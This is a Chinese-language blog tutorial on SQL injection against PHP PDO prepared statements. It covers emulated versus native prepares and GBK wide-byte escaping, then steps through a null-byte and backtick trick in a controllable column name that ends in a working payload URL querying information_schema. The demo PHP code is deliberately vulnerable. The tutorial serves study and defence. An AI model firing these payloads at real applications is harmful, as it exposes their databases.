共计 4293 个字符,预计需要花费 11 分钟才能阅读完成。
参考:
预编译与 sql 注入
# 关于预编译与宽字节注入的再思考
# A Novel Technique for SQL Injection in PDO’s Prepared Statements
每次学习 SQL 注入都说 PDO 预编译可以有效防止 SQL 注入,那遇到预编译我们就真的没办法了吗?
什么是预编译
预编译(Prepared Statement,也被称为预处理语句) 是数据库的一种高效且安全的查询执行机制。
预编译分为两个阶段
-
准备阶段 (Prepare):应用程序将带有“占位符”(通常是
?)的 SQL 模板发送给数据库。-
示例:
SELECT * FROM users WHERE username = ?; -
数据库会对这个模板进行语法分析和编译,确定查询路径,并将其缓存起来。
-
-
执行阶段 (Execute):应用程序只需要把实际的参数值传给数据库。
-
示例: 传入
"admin"。 -
数据库直接把参数填入之前编译好的模板中执行,不再重复编译。
-
理论上来说这样的是将用户输入的值作为一个整体传入,不会再产生歧义。这样就确实应该很安全了吧?
但是有很多地方是不能使用预编译的,为什么呢?这个我们后面再说。现在我们先来探究预编译下的 SQL 注入。
宽字节注入与预编译
之前我们应该学过宽字节注入究其原因就是服务端编码设置不当(通常为把服务端编码设置为 GBK)。
由于 addslash 函数会在单引号前添加一个反斜杠。若黑客输入一个特定的字符(一般是 %df)。而反斜杠的 URL 编码是 %5c, 此时服务器会把 %df 与 %5c 结合成一个字符,从而导致单引号逃逸。
后面我们讲到一种“假”预编译就是利用了这个原理。
虚假的预编译?
先开启日志
show global variables like '%general_log%';
set global general_log = 'on';
我们先来看一段代码
<?php
try {$pdo = new PDO('mysql:host=localhost;dbname=testsql', 'root', 'root');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->query("SET NAMES gbk");
$stmt = $pdo->prepare("SELECT * FROM users where username = :input");
$stmt->bindParam(':input', $input);
$input = $_GET['input'];
$a = $stmt->execute();
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
var_dump($results);
} catch (PDOException $e) {echo "数据库执行出错:" . $e->getMessage();
}
?>
先来执行一段正常的查询

然后我们来看看日志

你会发现,这和平常的 SQL 语句也没区别。哪里有预编译?
那我们加个单引号试试呢?

这时候你会发现,单引号被转义了。
所以一般我们把这个称作虚假的预编译,这个就有点和 addslash 函数类似。
刚刚我们说到有些地方不能使用预编译就是这个原因
例如 order by,你在加引号和不加引号的情况下查询结果是完全不同的,前者是当成字符串,后者才是当成列名查询

加引号

不加引号
这时你就会发现数据库报错了

既然这是虚假的预编译,那什么才是真正的预编译
真正的预编译
<?php
try {$pdo = new PDO('mysql:host=localhost;dbname=testsql', 'root', 'root');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false); #变化
$pdo->query("SET NAMES gbk");
$stmt = $pdo->prepare("SELECT * FROM users where username = :input");
$stmt->bindParam(':input', $input);
$input = $_GET['input'];
$a = $stmt->execute();
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
var_dump($results);
} catch (PDOException $e) {echo "数据库执行出错:" . $e->getMessage();
}
?>
我们可以看到就多了一行代码
$pdo -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
这行代码是干什么的?
这个选项用来配置 PDO 是否使用模拟预编译,默认是 true,因此默认情况下 PDO 采用的是模拟预编译模式,设置成 false 以后,才会使用真正的预编译。开启这个选项主要是用来兼容部分不支持预编译的数据库(如 sqllite 与低版本 MySQL),对于模拟预编译,会由客户端程序内部参数绑定这一过程(而不是数据库),内部 prepare 之后再将拼接的 sql 语句发给数据库执行。
此时我们再来试试看传入一个 test

你会发现这个时候的 SQL 查询和之前有很大区别,
先连接 -> 然后准备语句 -> 用问号? 占位 -> 接着用输入替换问号 -> 执行语句
而且我们输入的数据也使用了十六进制编码(这里好像会因为 MySQL 版本变化,笔者这里使用的是 8.0)
既然语句再查询发生之前就已经写死了,那么也肯定没有歧义或者说是注入了。
一种虚假预编译的特殊利用?
前面我们说到,用户在预处理语句中经常需要输入列名和表名。由于这些名称无法绑定,开发人员只能将它们直接插入查询语句中。
那么假设我们再实战中遇到了不是 gbk 编码的虚假预编译又该怎么办?
如果列名或者表名可控的话我们还有一种办法
使用空白字符截断
我们来看这样一段代码
<?php
$pdo = new PDO('mysql:host=localhost;dbname=testsql', 'root', 'root');
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
var_dump($data);
我们来看看 PDO 在默认情况下对空白字符的处理
int pdo_mysql_scanner(pdo_scanner_t *s)
{
const char *cursor = s->cur;
s->tok = cursor;
/*!re2c
BINDCHR = [:][a-zA-Z0-9_]+;
QUESTION = [?];
COMMENTS = ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ tvfr])|[#]).*);
SPECIALS = [:?"'`/#-];
MULTICHAR = ([:]{2,}|[?]{2,});
ANYNOEOF = [ 01-377];
*/
/*!re2c
(["]((["]["])|([\]ANYNOEOF)|ANYNOEOF["\])*["]) {RET(PDO_PARSER_TEXT); }
(['](([']['])|([\]ANYNOEOF)|ANYNOEOF['\])*[']) {RET(PDO_PARSER_TEXT); }
([`]([`][`]|ANYNOEOF[`])*[`]) {RET(PDO_PARSER_TEXT); }
MULTICHAR {RET(PDO_PARSER_TEXT); }
BINDCHR {RET(PDO_PARSER_BIND); }
QUESTION {RET(PDO_PARSER_BIND_POS); }
SPECIALS {SKIP_ONE(PDO_PARSER_TEXT); }
COMMENTS {RET(PDO_PARSER_TEXT); }
(ANYNOEOFSPECIALS)+ {RET(PDO_PARSER_TEXT); }
*/
}
其中 ANYNOEOF 定义为[ 01-377]。那么如果我们传递一个空字节会发生什么?

看起来只是一个很普通的报错是吧
那,我们再加个问号呢?

数据库执行出错: SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match number of tokens
这个报错就很有意思了
PDO 解析器首先会尝试将其解析 ? 为列名 / 表名。当遇到空字节时,由于其解析规则,解析过程会回溯。因此,反引号会被忽略 SPECIALS,并被忽略SKIP_ONE(PDO_PARSER_TEXT)。这样,PDO 解析器会将第一个反引号视为? 绑定参数。然后,PDO 解析器会继续将其视为 name = ? 第二个绑定参数,并抛出错误,因为我们只传递了一个参数,而解析器期望两个。
幸运的是,这个问题很容易解决,只要在问号后面添加注释?# ——PDO 就会在解析完绑定参数后停止解析。(原文)
我自己尝试发现 #并不生效,自己试了一下后发现 -- 符号可以起作用,那就进一步试试吧
http://127.0.0.1/test.php?name=x%23&col=?--%00

但是 MySQL 中不允许出现 %00 这种 NULL 字节,那我们该如何绕过?
很简单,用一个分号结束语句
http://127.0.0.1/test.php?name=x;%23&col=?–%00 return 数据库执行出错: SQLSTATE[42S22]: Column not found: 1054 Unknown column ”x’ in ‘field list’`
此时的 SQL 语句是这样的
SELECT `'x`;#'# ` FROM fruit WHERE name = ?
这时还剩下最后一个问题,列名’x 显然不存在,这个时候之前学的 SQL 注入绕过技巧就可以排上用场了。我们建立起一个子查询让 table_name 为 'x 即可
最后的 payload
http://127.0.0.1/test.php?name=x`%20FROM%20(SELECT%20table_name%20AS%20`%27x`%20from%20information_schema.tables)y;%23&col=?--%00
